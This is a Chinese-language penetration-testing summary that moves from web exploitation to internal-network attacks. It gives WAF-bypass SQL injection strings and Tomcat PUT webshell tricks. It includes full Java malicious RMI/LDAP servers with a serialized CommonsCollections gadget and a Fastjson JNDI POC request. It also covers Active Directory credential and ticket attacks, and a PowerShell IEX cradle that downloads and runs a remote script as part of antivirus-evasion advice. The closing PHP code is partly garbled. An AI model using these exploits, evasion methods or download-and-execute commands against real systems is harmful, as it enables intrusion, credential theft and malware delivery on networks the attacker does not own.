渗透测试-web到内网的总结

前言

本着知识梳理的心态写的这篇文章,参考了很多大佬的文章,如有侵权,联系必删!!
其中可能有很多不清除的概念,大佬轻喷~~~~~~~~

WEB渗透

sql注入

【存在数据库交互就存在注入,本质就是传参过滤不严格】

注入分类:

1.post,get,cookie,http头注入
2.布尔盲注,时间盲注,报错注入,堆叠注入(;),联合注入(union)

报错注入常用函数:

1.floor,extractvaule,updatexml,exp

mysql读取函数:load_file(),into outfile , into dumpfile

sql注入bypass

常规bypass思路

替换:空格可以用/**/,/*!*/,%20,%09,%0a,%0b,%0c,%0d,()
函数回调:在类里创建函数,函数拼接$_POST[‘cmd’]
垃圾字符填充:/*!*//*65001*/
垃圾字符溢出,分块传输(post),hpp参数污染
异或绕过,拆散关键链接字符

1.过安全狗

' order/*//--/*/by 2 #

2.过宝塔

1 &&( select--%0alocate('1',id)from emails limit 0,1) &&1=1

其实就是利用注释符,换行符,0x转换,/*!*/,拼接函数concat,函数替换,进行绕过特征匹配。

sqlmap的–os-shell解释

–os-shell的前提
1.必须是root权限,也就是dba权限 sqlmap用–is-dba判断,返回true就是dba权限
2.知道网站的绝对路径,首先sqlmap会尝试报错去发现绝对路经,如果没发现可以主动选择爆破或者自己输入路径
3.关闭gpc转义,因为shell需要上传2个文件。

流程:

先上传一个小马,也就是用于文件上传的小马,然后利用这个小马上传一个大马,大马就是用于命令执行并且回显,利用完后删除文件。

xss

分类:反射型,存储型,dom型

反射型

http://www.xxx.com/music?name='bob'<script>alert(1)</script>

存储型(表单),dom型(onerror)

利用方式就是插入js代码,查询源代码是否过滤,没过滤就可以进行拼接操作了。

xxe

通过xxe读取目标文件内容,一般就是这么用,读的就是/etc/password文件,执行操作系统命令是不现实的。(xml协议不支持命令执行,php协议可以,具体的命令执行还是读文件是根据协议走的)

利用方式:
1.查询accept是否接受xml,一般都是*/*或者没有,带入参数进行测试。
2.json改为xml方式进行读取文件
3.dtd实体注入,有回显直接利用file读取,没回显就在vps放dtd文件,外带数据,base64编码外带,也可查看报错信息。

文件上传

1.常见上传思路
渗透测试-web到内网的总结_第1张图片

CSRF

攻击者构造payload,钓鱼用户,用户以cookie进行操作,就是bob和hacker银行转账的故事。

SSRF

服务端伪造请求,服务端进行的请求,一般就是利用ssrf访问内网服务配合使用。

典型就是weblogic-ssrf配合redis未授权写入计划任务getshell

中间件漏洞

1.IIS6.0

put上传漏洞,借助put上传一句话木马,move改文件后缀为asp

解析漏洞,基于文件;*.asp;.jpg会当成asp解析,cer cdx asa也会解析成asp
基于文件名 ,*.asp/的文件名下的文件会解析成asp

短文件漏洞,正则匹配文件名,访问www.xxx.com/*~1*/a.aspx文件存在返回404,不存在返回400

RCE-CVE-2017-7269,远程溢出rce,有exp

2.IIS7.0

文件解析漏洞,上传一个文件a.jpg,直接在路径后面加/.php就会解析成php,www.xxx.com/a.jpg/.php

远程代码执行(MS15-034),有exp

3.apache

未知扩展名解析漏洞,www.xxx.com/phpinfo.php.666666就会解析成php,还有一个就是含.php就会解释成php

目录遍历漏洞,不多说

apache httpd 换行解析漏洞,在文件后面加一个%0a,上传的时候test.php%0a,访问也是test.php%0a

4.nginx

文件解析漏洞,存在1.jpg,访问的时候路径拼接1.jpg/xxx.php,就会解释php

目录遍历漏洞,不多说

空字节代码执行漏洞,url+%00.php执行php,路径.com/1.jpg%00.php就会解析php

整数溢出漏洞,有exp

CRLF注入漏洞,即换行符,Nginx将传入的url进行解码,对其中的%0a%0d替换成换行符,导致后面的数据注入至头部,造成CRLF注入漏洞

https://localhost/%0ASet-cookie:JSPSESSID%3D3 #直接在路径加%0a就是换行,等于添加了一个请求头

要配合redis未授权访问写入ssh密钥,%0a就是redis命令分隔符。

5.tomcat

1.put上传漏洞,使用put上传webshell,绕过方法
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/

2.弱口令,用tomcat/tomcat,上传后门war包,用shell.zip打包成war包

3.远程代码执行(CVE-2019-0232),www.xxx.com/cgi-bin/hello.bat?&C%3A\Windows\System32\net user,net user为命令。

4.tomact反序化漏洞,有exp

5.文件包含漏洞

6.JBoss

1.JMX Console未授权访问Getshell

2.JBoss 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149),访问 /invoker/readonly 返回500,说明此页面存在反序列化漏洞,直接工具一把梭

3.Jboss 5.x/6.x admin-Console后台部署war包Getshell

4.JBossMQJMS 反序列化漏洞(CVE-2017-7504),直接工具吧

7.Weblogic

1.弱口令,访问 http://192.168.239.162:7001/console,弱口令getshell登录后台,weblogic/Oracle@123,错误5次锁定,部署war包上传后门。

2.XMLDecoder反序列化漏洞(CVE-2017-3506),访问 /wls-wsat/CoordinatorPortType,然后BP抓包,修改为POST上传webshell即可

3.ssrf任意文件上传

8.shiro

原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

利用条件

由于使用了aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞

尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率

shiro漏洞指纹

返回包中存在set-Cookie: rememberMe=deleteMe
或者URL中有shiro字样
有时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可
只要发包就会返回set-cookie:remeberme,所以测试的时候发包就好了。

利用关键在于找出aes加密的密钥,可以github,google收集密钥解密。

shiro550和shiro721

1.shiro550

前提:

知道aes加密的key且目标服务器含有可利用的攻击链

解决payload过长的方式:

1.使用urlclassloader加载远程字节码
2.将字节码放在post的body中,恶意类实现加载body中的字节码即可.

2.shiro721

前提:

知道已经登陆用户的合法cookie且目标服务器含有可利用的攻击链就可以进行漏洞利用。

说人话就是:知道一个可以正常登录的用户(可以不是admin),并且抓取他的cookie,而且存在利用攻击链

原理:

shiro721用到的加密方式是AES-CBC,而且其中的ase加密的key基本猜不到了,是系统随机生成的。而cookie解析过程跟cookie的解析过程一样,也就意味着如果能伪造恶意的rememberMe字段的值且目标含有可利用的攻击链的话,还是能够进行RCE的

我们要明白一件事;获取aes的key是为了加密cookie,如果我们直接手动构造cookie,跳过aes-cbc的加密方式,让服务端也解密这个cookie可以吗?,存在一个Padding Oracle Attack的攻击方式(以上本人的理解,可能很片面)

所以可以通过Padding Oracle Attack,这种方式需要爆破得到key,可能需要代理,或许有这个一个可以代理爆破key得脚本吧。

流程

Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

1.抓包后将Cookie内容改为remember Me=1,若响应包有rememberMe=deleteMe,则基本可以确定网站是apache shiro搭建

2.运行工具寻找key

3.反序列化rce

1.判断key

在shiro1.4.2版本之前,使用的是aes的cbc加密,虽然IV随机,但是没有完全嵌入到代码中,shiro1.4.2之后使用的是gcm加密。

只需要发包,cookie进行上面的aes加密,base64等等,如果返回包没有set-cookie则表示key正确。

注:这里可能存在类型转换异常,判断的时候尽量使用已经验证过的类型,防止反序列化异常

可以还会存在一个suid问题,尽量先探测目标jdk版本,用相同版本得jdk进行构造。

2.判断攻击链

其实shiro本身不提供攻击链,有的只是一些jdk原生的攻击链和一些外部依赖的攻击链

网上exp常见的攻击链

CommonsBeanutils1 ,CommonsBeanutils1 ,CommonsCollections2 ,CommonsCollections3 ,commonsCollectionsK1 ,CommonsCollectionsK2 ,OnlyCommonsBeanutils

不出网的shiro

利用sleep(5)延迟判断,有python的exp,还有很多工具。

不出网可以直接写webshell,通过冰蝎链接,或者写内存马。

CVE-2020-11989:Apache Shiro权限绕过复现

总结

就是利用aes密钥硬编码在代码里,而且aes又是对称加密,虽然1.2.5版本升级了,可以自定义密钥,但是如果用开源的shiro框架就等于泄露了密钥,可以收集密钥进行破解。

9.apache struts2

反序化漏洞太多了,直接工具

10.spring

rce漏洞;很多都是rce

CVE-2010-1622 Spring Framework class.classLoader类远程代码执行
CVE-2013-4152 Spring Framework中的XML外部实体(XXE)注入
CVE-2013-7315 Spring Framework中的XML外部实体
CVE-2014-3527 Spring Security验证绕过漏洞
CVE-2014-0097 Spring Security认证绕过
CVE-2014-3578 Spring Framework 目录遍历漏洞
CVE-2016-2173 Spring AMQP中的远程代码执行
CVE-2016-4977 SpringSecurityOauth 远程命令执行漏洞
CNVD-2016-04742 Spring Boot框架SPEL表达式注入漏洞
CVE-2016-6652 Spring Data JPA SQL盲注
CVE-2017-4971 Spring WebFlow 远程代码执行漏洞
CVE-2017-8045 Spring Amqp中的远程代码执行
CVE-2017-8046 Spring Data REST PATCH请求远程执行代码
CVE-2018-1258 Spring Security未经授权的访问
CVE-2018-1259 具有XMLBeam的Spring DataXXE
CVE-2018-1270 Spring Messaging远程代码执行漏洞
CVE-2018-1271 Spring MVC 目录穿越漏洞
CVE-2018-1273 Spring Expression Language SPEL表达式注入漏洞
CVE-2018-1260 Spring Security Oauth2 远程代码执行
CVE-2018-15758 spring-security-oauth2权限提升
CVE-2019-3799 Spring Cloud Config Server: 目录遍历
CVE-2019-3778 Spring Security OAuth 开放重定向
CNVD-2019-11630 Spring Boot Actuator命令执行漏洞
CVE-2019-11269 Spring Security OAuth 开放重定向
CVE-2020-5398 Spring Framework RFD漏洞
CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露

11.FastJson

Fastjson是一个Java语言编写的高性能功能完善的JSON库。

JNDI

简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI 是应用程序设计的 Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种:
DNS、LDAP、 CORBA对象服务、RMI

利用流程

1. 首先开启 HTTP 服务器,并将我们的恶意类放在目录下
2. 开启恶意 RMI 服务器
3. 攻击者控制 uri 参数为上一步开启的恶意 RMI 服务器地址
4. 恶意 RMI 服务器返回 ReferenceWrapper 类
5. 目标(JNDI_Client) 在执行lookup操作的时候,在decodeObject 中将ReferenceWrapper 变为 Reference 类,
6. 然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码

fastjson无回显

通过构造错误得json数据包,例如少一个}。

1.通过dnslog外带,判断回显
2.自己vps搭建服务器,例如python

fastjson绕过waf

1.填充空格绕过关键词
2.编码绕过(hex编码,Unicode编码)
3.利用注释隔离关键词

fastjson高版本绕过

fastjson高版本把rmi远程加载类给ban了

通过一些黑名单可以绕过,实现rmi远程加载

例如

使用受害者本地的类作为恶意Reference Factory攻击RMI
利用LDAP返回序列化数据触发Gadget

最后也是通过rmi进行远程加载

poc如下

package JNDIInjection.HighVer.LocalClass.DruidDataSourceFactory;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class DruidJDBCRMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1089);
        Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
        String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
                "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
                "java.lang.Runtime.getRuntime().exec('calc')\n" +
                "$$\n";
        String JDBC_USER = "root";
        String JDBC_PASSWORD = "password";

        ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
        ref.add(new StringRefAddr("url",JDBC_URL));
        ref.add(new StringRefAddr("username",JDBC_USER));
        ref.add(new StringRefAddr("password",JDBC_PASSWORD));
        ref.add(new StringRefAddr("initialSize","1"));
        ref.add(new StringRefAddr("init","true"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

        registry.bind("druid", referenceWrapper);
        System.out.println("rmi://127.0.0.1/druid is working...");
    }
}


2.LDAP + 反序列化RCE

package JNDIInjection.HighVer.SerializeLdap;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class SerializeLdapServer {
    public static void main(String[] args) throws Exception {
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("127.0.0.1"),
                389,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()
        ));
        config.addInMemoryOperationInterceptor(new OperationInterceptor());
        InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
        directoryServer.startListening();
        System.out.println("ldap://127.0.0.1:389 is working...");
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();

            Entry entry = new Entry(base);
            entry.addAttribute("javaClassName", "hahaha");
            
            try {
                entry.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRv" +
                        "cmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznB" +
                        "H9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4" +
                        "cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSC" +
                        "nnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5z" +
                        "Zm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFp" +
                        "bmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUv" +
                        "Y29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9u" +
                        "cy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hl" +
                        "LmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGU" +
                        "AgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBz" +
                        "cgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zv" +
                        "cm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5h" +
                        "bWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNz" +
                        "O3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1" +
                        "cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsA" +
                        "AAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAA" +
                        "AnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAA" +
                        "AAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAA" +
                        "AAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdl" +
                        "chLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAB" +
                        "c3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xk" +
                        "eHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
}


fastjson的攻击链

总结

1. 反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
2. RMI是一种行为,指的是Java远程方法调用。
3. JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
4. ldap指轻量级目录访问协议。
5. 存在java版本限制,ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用

rmi就等于一个远程执行,可以在我们的vps搭建一个恶意的rmi服务,然后发包访问这个vps就可以了。

poc包

POST / HTTP/1.1
Host: 192.168.253.7:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.253.9:9999/test",
        "autoCommit":true
    }
}

内网渗透

1.AD和DC的区别

ad叫活动目录,dc为域控制器,dc包含ad,ad相当于一个数据库(但是有很多其他功能),
其实dc上面还有很多服务,例如Kerberos协议相关的服务。

2.如何快速定位域控。

1.内网端口扫描,53.88端口开放的一般为域控,53提供dns服务,一般dns服务器都是域控,88端口提供Kerberos服务

2.net view /domain 查看域名字,通过ping -4 计算机名字判断域控ip

3.net time /domain 时间服务器也是域控,可以看到域控计算机名

4.net user /domain 可以查看域内用户,可以看到krbtgt用户

5.利用工具和msf,cs的一些插件定位。

3.2012版本服务器如何dump密码

2012 server已经不能dump明文了,前提lasses.exe进程运行,利用mimikatz进行抓取时显示为null,需要修改注册表,然后让管理员再次输入密码登录系统,才能抓取明文,利用工具有procdump(不报毒,微软的官方软件),mimikatz(要免杀)

4.PTT PTK PTH的区别

PTH

pass the hash 就是hash传递,一般用于横向移动,mimikatz抓取hash,用psexec或者wmic登录

psexec登录有日志,而wmic没有日志,没有痕迹。

PTT

Pass the ticket 就是票据,基于Kerberos协议,利用ms14-068生成白银票据访问域控,上线域控mimikatz抓取krbtgt用户生成黄金票据,一般用于权限维持,也可用kekeo工具。

PTK

pass the key
使用mimikatz抓取aes key,mimikatz注入会话,远程ipc登录,net use \\192.168.31.120\c$,如果拒绝访问的话尝试安装kb2871997补丁,也可能是防火墙问题。

5.约束委派

原理

委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:
1.约束委派
2.非约束委派
3.基于资源的委派

IDAP协议

LDAP是Lightweight Directory Access Protocol的缩写,顾名思义,它是指轻量级目录访问协议(这个主要是相对另一目录访问协议X.500而言的;LDAP略去了x.500中许多不太常用的功能,且以TCP/IP协议为基础)。目录服务和数据库很类似,但又有着很大的不同之处。数据库设计为方便读写,但目录服务专门进行了读优化的设计,因此不太适合于经常有写操作的数据存储。同时,LDAP只是一个协议,它没有涉及到如何存储这些信息,因此还需要一个后端数据库组件来实现。这些后端可以 是bdb(BerkeleyDB)、ldbm、shell和passwd等

idap只是一个协议,而ad就是这个idap协议的一个实例,只是idap协议的一个成熟应用,就类似邮件应用基于smtp协议一样。

基于idap协议的攻击。

流程

非约束委派

1.首先判断有委派的计算机,可以利用工具ADfind。
2.通过ldapsearch或者adfind或者powerview查询域内配置了非约束性委派的机器。
3.那下目标机器权限。
4.诱导域管对我们这台机器进行委派(通过使用钓鱼或者打印机哪个漏洞)。
5.拿到域管的TGT(mimikatz抓取krbtgt的hash生成黄金票据)
6.over

约束委派

1.利用kekeo配合mimikatz
2.利用impacket库getST.py配合psexec.py拿shell(system权限)

基于资源委派

利用工具powerview验证,利用impacket库进行制作票据。

双网卡机器快速定位

1.ipconfig 查询ip
2.ping www.baidu.com 看icmp是否出网
3.curl www.baidu.com 看tcp是否出网
4.nslookup baidu.com 看dns是否出网
如果没回显可以利用vps,查询日志是否成功。
6.net view /domain 是否存在域,查询域计算机名

如果出网,就是一个内网ip一个外网ip,则是dmz区,可以用来做跳板机,拿下这台权限进行frp代理,进击内网。
如果不出网可以尝试搭建隧道,Neo-reGeorg反向代理出来,也可以正向http隧道上线cs。

正向反向代理

1.一般反向代理防火墙不会拦截,机器出网可以反向代理到hack的vps。
2.如果我们没有公网ip,因为本身我们就是在内网中,只能正向连接公网的ip。
3.还有就是我们拿下了一台机器,进入了内网,但是这台主机是不出网的,我们在msf里配置了路由,这时只能正向连接,因为受害机是找不到我们ip的。

NTLM中继

认证机制

1.分为kerberos认证和ntlm认证(ntlm分2种)。

利用方式渗透测试-web到内网的总结_第2张图片

hack搭建一台恶意的smb服务器作为一个中间人,截获hash或者直接ntlm relay(中继)。

限制条件

1.防火墙没关,可以smb连接上
2.受害机能够rdp上relay机器,就是client1能够rdp client2

总结

总之,这是一个拿域内主机的方法,在横向移动中利用还是挺不错的,可以直接控制域内主机,包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等。

也可以利用钓鱼来relay域控,让域控点击钓鱼连接,把域控流量relay到hack进行命令执行。

隐蔽隧道

推荐frp,免杀做好更好,速度很快,而且稳定

1、Earthworm不能过杀软!被秒杀…

2、Tunnel非常不稳定,web都动不动崩溃,更别说支持3389了…(Neo-reGeorg)

3、ptunnel该环境在内网多限制情况才可利用,局限性,ptunnel是一款建立ICMP隧道传输数据的工具。
适用条件:防火墙只允许ping出站流量,利用ptunnel建立ICMP隧道,从而实现传输数据。)

4、DNS 隧道穿透,适合僵尸网络…太慢了…流量走得太慢,测试我都浪费很多时间…

免杀

webshell免杀

1.php免杀思路

避免直接拼接用/**/进行填充

使用类和构造函数避免拼接

替换eval函数,有passthru assert。

字符变换,函数拼接,函数删除。
array_map array_key preg_replace preg_fiter 等等函数进行封装,explode函数分割。

2.其他jsp,asp一句话免杀暂时不讲。

远控免杀

1.源码级别免杀,可以定位特征码,加花指令,多层跳转,替换api,api伪调用。

2.无源码免杀,加资源,替换资源,加壳,加签名,pe头文件优化

3.powershell免杀,因为powrshell的IEX可以实现无文件落地,把payload加载在内存,只要绕过杀软对powershll语句的限制就能进行免杀

echo Invoke-Expression(new-object net.webclient).downloadstring('http://192.168.31.120:8001/pys.ps1') | powershell -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal -w Normal  IEX

加载器分离免杀,利用shellcode和pe分离的方式免杀,一般来说网上很多工具要求raw格式或者c的固定格式,而且很快就会被杀软盯上就不免杀了。因为如果不进行混肴,杀软很快就能还原shellcode进行特征匹配,马上就会杀掉。

尝试自己写一个加载器,用自己擅长的语言,GitHub有很多开源项目可以参考。

远控本质

1.传输消息——>socket连接

2.命令执行——>Runtime类

3.执行结果回传——>IO流

可以自己写一个加密函数,利用现有的加密方式进行增删改查。

总结:要想深入就必须了解二进制和windows api。

文件免杀

例如mimikatz,frp等等文件的免杀,还有一些win提权工具printspoofer的免杀。

有源代码的可以进行源码免杀,配合特征码定位工具,还有pe优化,签名等等。

流量分析

常见webshell连接工具分析

菜刀

菜刀的流量特征很明显
1.eval函数传递payload,有时会替换为assert
2.base64编码
3.z0=QGluaV9zZXQ…,传递payload

蚁剑

cmd=@ini_set("display_errors", "0");

@set_time_limit(0);echo "5434f";try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);

if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";

if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)

if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";

$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();

$R.=php_uname();$R.=" {$s}";

echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};echo "0a5f4";die();

1.这是蚁剑的url解码的body流量,最明显的就是@ini_set(“display_errors”, “0”);这是处理错误信息的,几乎所有webshell客户端都有,有的会加密。

2.大多数参数都以_0x…=…,比较容易发现。
3.现在蚁剑更新了,支持rsa加密,常规肉眼已经分辨不出shell了。

冰蝎

冰蝎2.0采用了向服务端请求密钥的过程,冰蝎3.0删除了这个过程,直接就是key的md5前16位作为密钥,全程加密,如果服务端支持openssl则使用aes加密,不支持就使用传统加密base64加密。

1.content-type:application/octet-stream固定死了,不能修改不然会编码错误
2.user-agent:冰蝎内置的user-agent只有16个,而且是很多年前的产品,不是google等等
3.Accept&Cache-Control:

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Cache-Control: no-cache

Pragma: no-cache

User-Agent: java/1.8

4.请求包的长度,冰蝎默认没有随机填充垃圾字符,导致发包长度有规律,这方面需要探讨。

哥斯拉

哥斯拉继承了冰蝎的加密方式,计算md5前16位进行加密,而且会填充垃圾字符,php默认是base64_xor异或加密,而且有很多插件,一般来说改改就能过流量检测了。

行为检测

1.webshell 传到服务器了,在执行函数时这些对于系统调用、系统配置、数据库、文件的操作动作都是可以作为判断依据,首先webshell必须有一个交互,得建立一个tcp连接。

2.使用 webshell 一般不会在系统日志中留下记录,但是会在网站的 web 日志中留下 webshell 页面的访问数据和数据提交记录

3.语法语义分析形式,是根据 php 语言扫描编译的实现方式,进行剥离代码、注释,分析变量、函数、字符串、语言结构的分析方式,来实现关键危险函数的捕捉方式这样可以完美解决漏报的情况但误报上

反序列化

1.php反序列化

本人也就是在ctf里面做过,就是序列化一个类,然后类里面包含很多方法,序列化利于传输,在后端反序列化的时候,里面的魔术方法可以绕过,进而可以执行命令。

常见魔术方法

__construct()     对象创建时(new)自动调用,但在unserialize()时不会自动调用
__destruct()       对象销毁时自动调用
__wakeup()        使用unserialize()函数时自动调用
__toString()    当对象被当作字符串输出时自动调用

看一下实例

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

//O:1:"S":1:{s:4:"test";s:29:"";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="

大兄弟,来点劲爆点儿的!

"
; }else{ $html.="

{$unser->test}

"
; } }

创建一个类

class S{
    var $test = "攻击语句,如()";
    function __construct(){
        echo $this->test;
    }
}

得到语句

O:1:"S":1:{s:4:"test";s:29:"";}

插入运行即可返回一个xss。

还有就是ctf中一些绕过_wakeup()和_sleep()方法的利用

O:1:"S":1:{s:4:"test";s:29:"";}

变形一下

O:+1:"S":2:{s:4:"test";s:29:"";}

下面来看一题目

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

首先我们要
绕过preg_match
绕过__wakeup

payload如下

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
echo '
'
; $b=str_replace(':1:',':2:',$b); $b=str_replace(':4:',':+4:',$b); echo $b; echo '
'
